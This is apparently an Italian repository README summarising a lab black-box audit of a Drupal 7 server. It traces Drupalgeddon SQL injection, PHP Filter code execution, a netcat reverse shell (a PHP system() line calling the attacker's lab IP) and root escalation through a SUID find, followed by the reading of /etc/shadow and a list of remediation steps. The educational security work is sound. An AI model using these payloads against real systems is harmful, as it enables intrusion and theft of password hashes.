Audit di sicurezza Black Box di un server Drupal 7. Dimostrazione di una Kill Chain completa: SQL Injection (CVE-2014-3704) ➔ RCE ➔ Reverse Shell ➔ Escalation a Root (SUID). Questo repository contiene il rapporto tecnico dettagliato, le prove di exploit (PoC) e le misure di remediation per mettere in sicurezza l'infrastruttura.
fbm31/audit-blackbox-web-to-root
Questo progetto è stato realizzato in un ambiente di laboratorio controllato e isolato a scopo educativo e accademico. Nessuna infrastruttura reale è stata presa di mira. L'obiettivo è imparare a proteggere i sistemi comprendendo i meccanismi di attacco.
L'obiettivo di questo progetto è realizzare un audit in scatola nera (Black Box). Ciò significa che l'analisi parte senza alcuna conoscenza preliminare del bersaglio: nessun identificativo, nessuna documentazione tecnica, né codice sorgente è stato fornito.
L'infrastruttura è stata distribuita virtualmente su VMware in una rete privata isolata (Host-Only) per evitare qualsiasi interazione con l'esterno.
192.168.78.131
192.168.78.132
Il primo passo è consistito nel mappare la superficie d'attacco della macchina bersaglio tramite una scansione delle porte.
Comando eseguito : nmap -sV 192.168.78.132
Servizi identificati :
L'analisi del servizio Web (Porta 80) e del file robots.txt ha rivelato la presenza di un CMS Drupal. L'ispezione del codice sorgente ha permesso di identificare una versione obsoleta : Drupal 7.x.
I risultati della fase di ricognizione hanno evidenziato una superficie d'attacco critica : un CMS Drupal 7 non mantenuto. Questa versione è storicamente nota per essere vulnerabile a gravi falle di sicurezza (in particolare "Drupalgeddon").
Di fronte a questa constatazione, l'audit si è orientato verso una ricerca mirata di vulnerabilità pubbliche (CVE). Questa enumerazione ha confermato l'esistenza di una catena di sfruttamento completa, che consente di passare da un semplice visitatore web a un amministratore di sistema "Root".
Vettori d'attacco identificati :
Sfruttamento della falla CVE-2014-3704 (Drupalgeddon). Questa vulnerabilità nell'API del database di Drupal consente di iniettare comandi SQL senza autenticazione.
users con diritti di Amministratore.
Una volta connessi come amministratore, utilizzo del modulo nativo PHP Filter. Questo modulo, mal configurato, consente di eseguire codice PHP arbitrario nelle pagine del sito.
<?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>www-data).
Analisi dei file con permesso SUID (Set User ID). Scoperta di una configurazione critica sul comando find.
find . -exec '/bin/sh' \;find viene eseguito come root, avviando una shell con privilegi Root (uid=0).Una volta ottenuto l'accesso root, lettura del file sensibile /etc/shadow per esfiltrare le impronte (hash) delle password degli utenti.
L'audit ha rivelato un livello di rischio CRITICO. La combinazione di un CMS obsoleto e di una negligenza nella configurazione del sistema (SUID) consente una compromissione totale del server.
Impatti per l'azienda :
/etc/shadow).Piano d'azione prioritario :
chmod u-s /usr/bin/find).Per il dettaglio tecnico completo, gli script utilizzati e l'analisi approfondita, consultare il rapporto completo : Leggere il Rapporto di Audit (PDF)
Fabien MOINE